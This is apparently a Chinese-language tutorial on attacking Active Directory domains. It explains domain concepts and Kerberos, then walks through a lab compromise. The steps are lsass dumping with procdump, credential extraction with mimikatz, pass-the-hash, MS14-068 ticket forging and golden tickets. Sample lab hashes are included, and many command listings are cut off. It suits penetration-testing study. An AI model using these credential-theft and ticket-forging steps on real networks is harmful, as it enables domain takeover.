域渗透基础
前置知识
用户
用户组与工作组
Windows系统存在一些为了特定用途而设置的用户,分别是:SYSTEM(系统)、Trustedinstaller(信任程序模块)、Everyone(所有人)、Creator Owner(创建者)等,这些特殊用户不属于任何用户组,是完全独立的账户。其中SYSTEM拥有整台计算机管理权限的账户,一般操作无法获取与它等价的权限。
Windows系统内置了许多本地用户组,用于管理用户权限。只要用户账户加入到对应的用户组内,则用户账户也将具备对应用户组所拥有的权限。
默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限。这些组为:管理员组(Administrators)、高权限用户组(Power Users)、普通用户组(Users)、备份操作组(Backup Operators)、文件复制组(Replicator)、来宾用户组(Guests)、身份验证用户组(Authenticated Users)。
工作组(Workgroup)是最常用最简单最普遍的资源管理模式,默认情况下计算机都在名为workgroup的工作组中。工作组模式比较松散,适合网络中计算机数量较少,不需要严格管理的情况。
域中用户
域环境中的用户和本地用户的帐户不同,域用户帐户保存在活动目录中。在域环境中,一个域用户可以在域中的任何一台计算机上登录。在域中用户可以使用SID (Security Identifier) 来表明身份,用NTLM哈希或者Kerberos来验证身份。
机器用户也被称作机器账号或计算机账号,所有加入域的主机都会有一个机器用户,机器用户的用户名以 $ 结尾。
组策略
组策略(Group Policy)用于控制用户帐户和计算机帐户的工作环境。组策略提供了操作系统、应用程序和活动目录中用户设置的集中化管理和配置。其中本地的组策略(LGPO或LocalGPO),可以在独立且非域的计算机上管理组策略对象。在域环境中的组策略通常被称作GPO(Group Policy Object)。
内网常用协议
NetBIOS
NetBIOS(Network Basic Input/Output System)是基于网络的交互协议,通常使用UDP 137、UDP 138、TCP 139等端口。Windows在安装TCP/IP协议时会默认启用该协议,可能导致未设置权限校验的网络资源被访问。
基于NetBIOS有NBNS (NetBIOS Name Service)服务,通常监听在UDP 137端口,该服务提供三种功能:将NetBIOS名称解析到IP、查询某一个NetBIOS节点的状态,注册/释放一个NetBIOS名。
可以使用 nbtstat 工具利用NetBIOS协议管理网络。
LLMNR
链路本地多播名称解析 (Link-Local Multicast Name Resolution, LLMNR)是一个基于DNS数据包格式的协议,IPv4和IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析。该协议在Windows Vista后被引入。 LLMNR监听UDP 5355端口,可以通过多播地址 224.0.0.252 (或 FF02:0:0:0:0:0:1:3) 访问。
mDNS
mDNS (multicast DNS) 在Windows 10中被引入,监听UDP 5353端口,对应的多播地址为 224.0.0.251 ( FF02::FB ) 。mDNS主要实现了在没有传统DNS服务器的情况下使局域网内的主机实现相互发现和通信。
WPAD
网络代理自动发现协议 (Web Proxy Auto-Discovery, WPAD) 是一种客户端使用DHCP和/或DNS发现方法来定位一个配置文件URL的方法。在检测和下载配置文件后,它可以执行配置文件以测定特定URL应使用的代理。
域
域指将网络中多台计算机逻辑上组织到一起,进行集中管理的逻辑环境。域是组织与存储资源的核心管理单元,在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库。
域结构
域树(Trees)由多个域组成,这些域共享同一表结构和配置,形成一个连续的命名空间(namespace)。
林(Forests)是一个复杂的AD实例,由一个或数个域组成,每个域树都有自己唯一的名称空间。
域控制器
ADDS的目录存储在域控制器(Domain Controller)内,一个域内可以有多台域控制器,每一个域控制器的地位几乎是平等的,有几乎相同的数据库。
在一台域控制器添加一个用户账户后,这个账户会被自动复制到其他域控制器的数据库中。
AD数据库有多主机复制模式(Multi-master Replication Model)和单主机复制模式(Sing-master Replication Model)。
多主机模式可以直接更新任何一台域控制器内的AD对象,并将更新之后的对象复制到其他域控制器,大部分数据都是用多主机模式进行复制。
单主机复制模式是指由一台被称作操作主机(Operations Master)的域控制器负责接收更改数据的请求,并将数据复制到其他的域控制器。
信任
两个域之间需要创建信任关系,才可以访问对应域内的资源。
Active Directory的信任方式可以分为以下几种:
Tree-Root Trust-双向具有转移性
Parent-Child Trust具有转移性,双向行人
Forest Trust-如果两个林创建了信任关系,则林中所有的域都相互信任,两个林之间的信任关系无法自动扩展到其他林上
Realm Trust-ADDS域可以和非Windows系统的Kerberos域之间创建信任
External Trust-位于两个林内的域之间可以通过外部信任来创建信任关系
Shortcut Trust-可以缩短验证用户身份的时间
OU
组织单位(Organization Unit,OU)是一个容器对象,将域中的对象组织成逻辑组,帮助管理员管理。OU包含用户、计算机、工作组、打印机、安全策略以及其他组织单位等。
Active Directory
活动目录 (Active Directory,AD) 是面向Windows Server的目录服务。Active Directory存储了有关网络对象的信息,并且让管理员和用户能够查找和使用这些信息。
ADDS
Active Directory提供目录服务的组件被称作Active Directory域服务 (Active Directory Domain Services, ADDS) ,负责目录数据库的存储、增删改查等工作,可以用在多种局域网、广域网的场景中。
从逻辑上看,ADDS的组件可以分为Partition、Schema、Domain、Domain tree、Forest、OU、Container。
Partition也被称为naming context,是AD DS数据库的一部分。Schema是存储在 ADDS 中数据的定义。Container是为ADDS提供组织框架的对象。
从实现上区分,ADDS可以分为Domain controller、Data store、Global catalog server、RODC (Read-only domain controller) 、Site、Subnet。
每个域控制器都有完整的ADDS数据,每个域控都可以处理数据的修改并同步至其他的域控。
域控会有一份数据拷贝 (Data store) ,默认存储在 C:\Windows\NTDS 目录下。
Global catalog server是存储全局catalog的域控,catlog以只读的方式存储了一个multiple-domain forest的所有对象,用于加速搜索。
名称空间
名称空间 (namespace) 是一块界定好的区域,在区域内可以用名称找到与之相关的信息。
对象与属性
ADDS内的资源都是以对象 (Object) 的形式存在的,对象通过属性 (Attrbute) 来描述其特征。
ADCS
Active Directory 证书服务 (Active Directory Certificate Services,AD CS) 是微软用于实现 PKI 的服务。
证书
ADCS 中的证书是 X.509 格式的数字签名文档,用于加密、签名或身份验证等。
证书常用的属性由下述字段组成
Subject:主题
Public Key:公钥
Extended Key Usages (EKUs):扩展密钥,描述证书的对象标识符 (Object identifier, OID)
…
常用的 EKU OID 包括:
代码签名
- OID 1.3.6.1.5.5.7.3.3
- 证书用于签署可执行代码
加密文件系统
- OID 1.3.6.1.4.1.311.10.3.4
- 证书用于加密文件系统
安全电子邮件
- OID 1.3.6.1.5.5.7.3.4
- 证书用于加密电子邮件
客户端身份验证
- OID 1.3.6.1.5.5.7.3.2
智能卡登录
- OID 1.3.6.1.4.1.311.20.2.2
服务器认证
- OID 1.3.6.1.5.5.7.3.1
- 证书用于识别服务器 (例如HTTPS 证书)
证书模板
微软提供了证书模板的功能,方便在域内签发证书。证书模板是注册策略和预定义证书设置的集合,包含证书有效期、用途、申请者等信息。
证书注册
证书可以通过以下几种方式注册:
- 通过 Windows 客户端证书注册协议 (MS-WCCE)
- 通过 ICertPassage 远程协议 (MS-ICPR)
- 在 ADCS 开启了对应 Web 服务的情况下,使用 Web 服务注册
- 在服务器安装了对应服务时,通过证书注册服务 (CES) 注册
- 在服务器安装了对应服务时,使用网络设备注册服务
组策略
简介
组策略 (Group Policy, GP) 用于管理网络环境中的用户和设备,定义了系统管理员管理工作所要的各种模板组件。
组策略有以下功能:
- 管理注册表
- 设置脚本
- 重定向文件夹
- 管理应用程序
- 指定安全选项
常用概念
组策略容器 (Group Policy Container,GPC)存储在活动目录中,包含GPO属性、配置信息和版本等。可以通过GPC来查找GPT。
组策略模板 (Group Policy Template, GPT) 存储在域控中,包含所有的组策略信息。包括管理模板,安全,脚本,软件安装等。
其中GPC中的信息量少、容量小,GPT中消息量较大、容量大,因此两个部分分开存放。防止活动目录中因存储了过多的数据而被影响性能。
组策略对象 (Group Policy Object, GPO) 是包含多种Windows组策略设置的集合,存储在GPC和GPT中。
Kerberos的Windows实现
SPN
服务主体名称 (ServicePrincipal Names, SPN) ,是服务实例(如HTTP、SMB等)的唯一标识符。
SPN分为两种类型:一种是注册在活动目录的机器帐户下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户下。一种是注册在活动目录的域用户帐户下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户下。
域内攻击思路
获取域控权限
- 通过域控相关漏洞
- 抓hash,尤其是域管理员、运维等高权限账号的哈希
控制入域机器
- 下发恶意策略控制
- 获取域内用户凭证
- 利用错误的域管理配置
- 域内relay
获取服务票据
- 攻击Exchange等服务器
攻击类型
黄金票据利用
在认证过程中,经过client与AS的通信会得到TGT,黄金票据(Golden Ticket)就是伪造票据授予票据(TGT),也被称为认证票据。
黄金票据利用需要与DC通信,且需要获取krbtgt的hash,但是可以获取任何Kerbose服务权限。
白银票据利用
白银票据(Silver Tickets)伪造利用的是Kerberos认证中的第三个步骤,在第三步的时候,client会带着ticket向server的某个服务进行请求,如果验证通过就可以访问server上的指定服务了,这里的ticket是基于client info、server session key、end time、server hash。这里client info已知,end time可以构造,server session key是TGS生成的,所以只要server的NTLM hash即可。银票伪造的是TGS,只能访问指定的服务。
DCSync 攻击
内有多台域控服务器时,为了同步域控服务器的修改,微软提供了基于远程目录协议 DRSR 的同步机制。
在多个域控服务器之间,每隔一段时间会有一次域数据的同步。由需要同步的域控服务器向其它服务器发送 GetNCChanges 请求,请求中包含需要同步的数据。数据量较多时,则重复这个过程。
DCSync 就是使用这种机制进行域渗透的技术,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,在2015年添加到 mimikatz 的一个功能,可以导出域内所有用户的hash。
这种方式需要满足以下任一一种权限:
- Administrators 组内的用户
- Domain Admins 组内的用户
- Enterprise Admins 组内的用户
- 域控制器的计算机帐户
或者拥有特定的几条 DACL:
- DS-Replication-Get-Changes
- DS-Replication-Get-Changes-All
- DS-Replication-Get-Changes-In-Filtered-Set
当没有管理员用户,但是拥有 WriteDACL 权限时,可以写入上述 DACL 来完成 DCSync 。
对于这种攻击,可以通过检测 GetNCChanges 发起者的方式,如果由非域控机器发起对应请求,则可以认为是 DCSync 攻击。
DCShadow 攻击
DCShadow是由来自法国的安全研究人员Benjamin Delpy和Vincent Le Toux在2018年的微软蓝帽(Blue Hat)大会上提出。
DCShadow攻击指在Active Directory环境下创建一个恶意的域控制器,并用它来推送恶意对象。
哈希传递攻击
哈希传递攻击(Pass-the-Hash,PTH)是通过传递NTLM哈希来认证的攻击方法,常用的工具有mimikatz等。
票据传递攻击
票据传递攻击(Pass-the-Ticket Attacks,PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法。PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单。
Kerberoasting Attacks
Kerberoasting攻击由Tim Medin在2014 DerbyCon conference上 公开 。指域内的任何一台主机,都可以通过查询SPN,Kerberoasting即是向域内的所有服务请求TGS,然后进行暴力破解。
Roasting AS-REP
该攻击枚举域中不需要Kerberos预身份认证的帐户,向这些账户请求一条加密信息,并离线尝试获取到的账户哈希。该方式需要账户明确设置了 DONT_REQ_PREAUTH 。
Kerberos Delegation Attacks
在一个域中,A使用Kerberos身份验证访问服务B,B再使用A的身份去访问C,这个过程就可以理解为委派。委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两种,非约束委派可以访问域内任意其它服务,约束委派对认证做了限制不可以访问其他的服务。
Kerberos Delegation(Kerberos委派)攻击分为非约束委派攻击和约束委派攻击。原理都是基于域内已经配置了委派的账户来获取其它账户的权限。
其他漏洞利用
域用户提权 (CVE-2022-26923)
KDC bamboozling (CVE-2021-42287)
Name impersonation (CVE-2021-42278)
ProxyShell (CVE-2021-34473)
ProxyLogon (CVE-2021-26855)
PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
SMBGhost (CVE-2020-0796)
Zerologon (CVE-2020-1472)
NTLM Relay (CVE-2019-1040)
永恒之蓝 (MS17-010)
域用户提权 (MS14-068)
Gpp漏洞 (MS14-025)
SAMR协议漏洞 (MS14-016)
域渗透实践
信息收集
确定环境
在域内需要先确定被攻击主机的当前内网环境,如拓扑等信息,可以使用以下命令来快速定位。
1 | route print # 查看路由信息 |
域内信息
除了了解内网环境外,还可以通过命令来直接查看域的相关消息。
net view
查看本地工作组/域环境中的设备
查看域内在线主机,此时可以看⻅域内的两台机器,一台被攻陷的XZM-PC和域控AD。
如果报错6118 =>
1、关闭防火墙;2、开启服务(Computer Browser、Server、Workstation);3、重新打开CMD即可
net view /domain
查看当前有几个域。可以看见此时有一个MAO域。
net user /domain
查看域内用户,可以看见除了常见的管理员和来宾,域内还有一个krbtgt用户,这个用户非常重要,稍后会讲到。
net group /domain
查看域的组别信息
这里可以看见组较多,这里列出几个关键组了解一下。
*Domain Admins 管理员组
*Domain Computers 主机名
*Domain Controllers 域控组
*Enterprise Admins 企业级管理员
可以通过 net group 组名 /domain 来查看组内用户。
whoami /user
确定自身权限
500:administrator
501:guest
1000+:普通用户
net group “domain controllers” /domain
查看域控管理员组的成员(域内高权限组)
- Domain Admins 域控管理员组(高权限)
- Domain Computers 加入域内的主机成员
- Domain Controllers 域控(高权限) - Domain Users 域内普通用户
- Enterprise Admins 企业管理员(高权限)
systeminfo | findstr “KB”
查看补丁信息
定位域控
域控作为域的最高权限,自然是首要的攻击目标,可以通过刚才的一些已知的命令,来找到域控。
通过 net user /domain 来查看域内的账户;通过 net group “domain controllers” /domain 来查看域控。自身权限可以使用 whoami /user 命令快速查看。
本地认证
Windows本地认证
在开始攻击之前,需要先了解一下 windows 的认证机制。
通过操作系统的学习,已知 C:\Windows\System32\config\SAM 是储存主机账号密码的数据库文件。
windows 登入的过程其实很简单,启动winlogin.exe,当用户输入账号密码后,账号密码将会发送到lsass.exe,lsass.exe将会把用户输入的明文,转换为NTLM hash与SAM文件存储的数据做比较,比较成功即登入成功。
Windows Logon: 是Windows操作系统的用户登录程序,负责管理用户的登录和登出过程。它提供了用户输入账号和密码的界面,也称为登录页面或登录屏幕。
lsass: 是微软windows系统的安全机制,是Windows操作系统中的一个关键进程,负责处理本地安全和登录策略。它在Windows系统启动时自动启动,并一直运行在后台。
NTLM hash
当然,windows本身是不会存储明文密码的,在SAM文件中所存储的是密码的散列值,而在登入的时候,也是先将用户输入转换为散列值,才进行对比的。
Hash一般存储在两个地方:
1、SAM文件,存储在本机 => 对应本地用户
2、NTDS.DIT文件,存储在域控上 => 对应域用户
加密过程
用户输入的明文密码 => ⼗六进制 => unicode => md4 算法 => NTLM hash。可以看见,整个加密过程还是较为简单的。
存储的密码格式
例:administrator:500:LM hash:NTLM hash
可以看见,先是用户名,再是该用户的 SID,后面跟着 LM hash 和 NTLM hash
如果LM Hash 是 AAD3B 开头,则是空密码或者未设置密码。
LM Hash全名为 “LAN Manager Hash”,是微软为了提高Windows操作系统的安全性而采用的散列加密算法,其本质是DES加密。尽管LM Hash较容易被破解,但是为了保证系统的兼容性,Windows只是将LM Hash禁用了(从Windows Vista和Windows Server 2008版本开始,Windows操作系统默认禁用LM Hash),LM Hash明文密码被限制在14位以内,也就是说,如果要停止使用LM Hash,将用户的密码设置为14位以上就好了。
lsass.exe
在内网渗透进行横向移动和权限提升时,最常用的方法是通过 dump 进程 lsass.exe,从中获得明文口令或者hash。 lsass.exe(Local Security Authority SubsystemService)是一个系统进程,用于微软Windows系统的安全机制,它用于本地安全和登陆策略。在进程空间中,存有着机器的域、本地用户名和密码等重要信息。但是需要首先获得一个高的权限才能对其进行访问。
从 lsass.exe 获取密码
Procdump
procdump是一款命令行工具,主要用途是监视应用程序的CPU异常动向,并且对内存做一个转储。上面提到了密码的明文与密文都存储在lsass里,所以使用procdump即可将 lsass 的内存资源转储出来。以下是它的一些参数。
1、相关参数
-ma:写入”完整”转储文件。【包括所有内存 (映像、映射和专用);包括 (进程、线程、模块、句柄、地址空间等) 的所有元数据】
-accepteula:使用该命令行选项时,表示自动接受Sysinternals许可协议。
2、简单使用
使用方式非常简单,指定参数和要转储内存的文件后,再指定保存的文件名,即刻获得后缀名为 .dmp 的内存转储文件。(需要管理员权限的命令行窗口才可操作)
1 | procdump.exe -ma -accepteula lsass.exe passwd.dmp #把内存当中的HASH导入到本地,并命名为passwd.dmp |
正常我们是打不开passwd.dmp这个文件的,要是以记事本打开也都是乱码。这时,我们就要用到另一个小工具Mimikatz进行对passwd.dmp进行读取
Mimikatz
1、相关参数
1 | mimikatz # :: 显示帮助指令 |
privilege模块
(需要管理员权限的命令行窗口才可操作)
1 | mimikatz # privilege::debug 提升 mimikatz 权限(通过mimkatz自带的漏洞脚本对当前设备进行攻击) |
sekurlsa模块
1 | 1、提取当前系统中已登录用户的密码(该方法需要先提升mimikatz权限) |
lsadump模块
1 | mimikatz # lsadump::sam 查看sam文件内容获取用户名和NTLM hash |
kerberos模块
1 | 1、列出系统中的票据 |
process模块
1 | mimikatz # process::start command 启动进程 |
2、简单使用
Mimikatz 能够从内存中提取纯文本密码,通过参数 sekurlsa::minidump 载入刚才procdump获取的dmp文件后,就可以使用sekurlsa::logonpasswords full等命令,对密码进行读取。
1 | mimikatz.exe |
3、进阶使用
利用procdump导下来的dump文件与mimikatz配合使用获取凭据
1 | mimikatz # log //记录所得到的信息 |
直接利用minikatz获取凭据(需要管理权限)
1 | mimikata # log //记录所得到的信息 |
PTH(pass-the-hash)哈希传递
简介
哈希传递是一种黑客技术,攻击者可用使用用户密码的hash对远程服务器进行身份验证,扩大战果。其实就是一种 撞库 的行为。在拥有NTLM hash的情况下,我们可以非常轻易的使用mimikatz的 sekurlsa::pth 发起一次 PTH。
攻击缺陷:hash 要保持静态(不修改密码)
适用于:域/工作组、可用获取 hash 但是不能爆破 hash,且内网有相同密码的机器。
KB2871997:修复了普通用户能够 pth,但是管理员除外,系统 >= win server 2012时,无法通过 lsass 进程中抓取明文密码。
因 KB2871997 修复了普通用户能够 pth,所以需要使用 privilege::debug 来提升权限(在高权限终端下)。
基本条件
使用mimikatz的sekurlsa::pth模块至少需要知道以下条件:
pth 的对象 :使用 net user /domain 等命令即可查看域内用户信息
域名 :使用 net view /domain 等命令即可查看域名
NTLM hash :可以通过使用procdump配合mimikatz获取
1 | 补充: |
适用条件
适用于无需用户密码,只能拿到域控的NTLM Hash,而且无法解密的情况。
信息收集
寻找pth的对象 => Administrator
查看管理员组成员 => 选择攻击 Administrator
域名 => MAO
拿到管理员的ntml hash => 570a9a65db8fba761c1008a51d4c95ab
1 | 其实通过mimikatz.exe,啥都满足了: |
发起攻击
法一:mimikatz直接pth
1 | sekurlsa::pth /user:<pth 的对象> /domain:<域名> /ntlm:<ntlm hash> [/run:name] |
拿下域控权限。(如果参数都填写正确的情况下,还是无法攻击成功的话,尝试关闭mimikatz窗口,重新以管理员启动cmd.exe,重新提升权限,再进行攻击。run后面的命令不写也行,默认开启域控的cmd.exe)
法二:msf的psexec
1 | search psexec |
法三:凭据传递脚本获取shell
1 | smbexec.py |
Kerberos认证协议
Kerberos是一种第三方认证协议,通过使用对称加密技术为客户端/服务器应用程序提供强身份验证。在希腊神话中Kerberos是守护地狱之门的一条三头神犬,而这三个头分别代表着协议的三个角色,如下图所示它们分别是:
1、访问服务的Client(发送请求的一方)
2、提供服务的Server(接收请求的一方)
3、KDC,密钥分发中心,该中心里又包含以下两个服务:
AS,身份验证服务(认证服务器)【专门用来认证客户端的身份并发放客户用于访问TGS的TGT】
TGS,票据授权服务(票据授予服务器)【用来发放整个认证过程以及客户端访问服务端时所需的服务授予票据】
DC(Domain Controller):域控制器
KDC(Key Distribution Center):密钥分发服中心
AS(Authentication Server):认证服务器
TGS(Ticket Granting Server):票据授权服务器
TGT(Ticket Granting Ticket):票据授权票据
认证概述
1、首先客户端向 AS 发起请求,获得TGT。
2、客户端使用从 AS 获得的TGT,向 TGS 发起请求,TGS 成功解密 TGT 后,生成新的票据返回给客户端。
4、客户端使用 TGS 返回的新票据向服务器发送请求进行授权。
PTC(pass-the-ccahe)缓存传递
如果能够拿到用户的 TGT,并将其倒入到内存,那么就可以冒充该用户获得其访问权限。
MS14-068漏洞
MS14-068 是密钥分发中心(KDC)服务中的 Windows 漏洞。它允许经过身份验证的用户在其 Kerberos 票据(TGT)中插入任意 PAC(表示所有用户权限的结果)。该漏洞位于kdcsvc.dll 域控制器的密钥分发中心中。用户可以通过呈现具有改变 PAC 的 kerberos TGT 来获得票据。
需要高权限。
影响范围:
Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 及 Windows Server 2012 R2
Windows Vista、Windows 7、 Windows 8 及 Windows 8.1
补丁编号与利用条件
补丁编号:KB3011780
利用条件:
获取到一台主机的权限(域内主机)
收集到计算机域管理员用户的账号密码、SID、域名信息
没打 MS14-068 补丁
信息收集
1 | 1、域管理员用户的SID |
Windows对大小写不敏感,所以mao.com和MAO.COM均可
漏洞利用
1、生成域控管理员密钥
1 | 使用现成的脚本来获取票据: |
2、将内存中导入生成好的票据
然后使用 mimikatz的 kerberos::ptc 模块来载入票据。
1 | mimikatz.exe |
3、开启当前权限的管理员终端
使用mimikatz的 misc::cmd 模块,打开打开⼀个新窗口验证我们当前权限。
1 | misc::cmd |
4、PsExec.exe获取一个交互式shell
用刚刚生成的管理员终端使用PsExec.exe工具获取一个交互式shell,并创建了隶属于管理员组的用户
1 | PsExec.exe \\192.168.126.10 cmd |
PTT(pass-the-ticket)黄金票据
简介
KDC 的作用是生成任意用户的 TGT,那么问题来了,是什么条件能够让他生成任意用户的 TGT 呢?还得看 kerberos 认证的过程,在 windows 认证过程中,客户端将自己的信息发送给 KDC,然后 KDC 使用 krbtgt 用户密码的 NTLM hash 作为密钥进行加密,生成 TGT。
一句话:TGT是KDC使用 krbtgt 用户密码的 hash 作为密钥,加上客户端自己的信息生成的。
那么如果获取到了 krbtgt 的密码 hash 值,是否就可以伪造任意 TGT?答案是肯定的。但因为 krbtgt 只有域控制器上才有,所以使用黄金票据(票据传递攻击)意味着之前就拿到了域控制器的权限,所以黄金票据可以理解为⼀个后门。
Krbtgt 用户在域控创建完成后自动生成。
只要krbtgt用户不更改密码,就可以使用黄金票据是实现任何用户的票据信息,注入到内存中。
黄金票据在使用的过程需要同域控通信。
基本条件
域名称、域 SID(去掉rid):通过 whoami /user 获取
要伪造(目标)的用户名:通过 net user /domain 等方法获取
krbtgt用户的hash:通过 mimikatz 等方法获取
信息收集
mimkatz获取 krbtgt hash(只有这一步才需要在域控上操作) => e798fdc7ba810c372ef7bffcdc8f2d13
由于mimkatz使用条件有点苛刻,且mimkatz软件问题,在命令行直接复制mimkatz内容可能无法成功或者直接到导致程序崩溃,那么这里可以通过生成log来解决。
1 | mimikatz.exe |
域SID(不需要权限的域SID): whoami /user => S-1-5-21-863777703-696496247-1862912240(最后的一个横线后表示用户权限。因此只需要前半部分)
伪造(目标)的用户名:net user /domain => Administrator
域名称(完整域名):ipconfig /all => mao.com
漏洞利用
管理员窗口操作
1、清除原有票据
因为在生成票据时需要将原有的票据清空,所以一旦票据生成失败,主机也将无法继续访问域内信息了(脱域)。
使用 kerberos::purge 清空票据后,就可以使用 kerberos::golden 生成票据了。
1 | mimikatz.exe |
2、生成票据
1 | kerberos::golden /user:<要伪造的用户名> /domain:<完整域名> /krbtgt:<krbtgt 用户的 hash> /sid:<域sid> /ticket:<生成的文件名.kirbr> |
3、注入票据
1 | kerberos::ptt carmi.kirbr |
4、生成域控会话
1 | misc::cmd |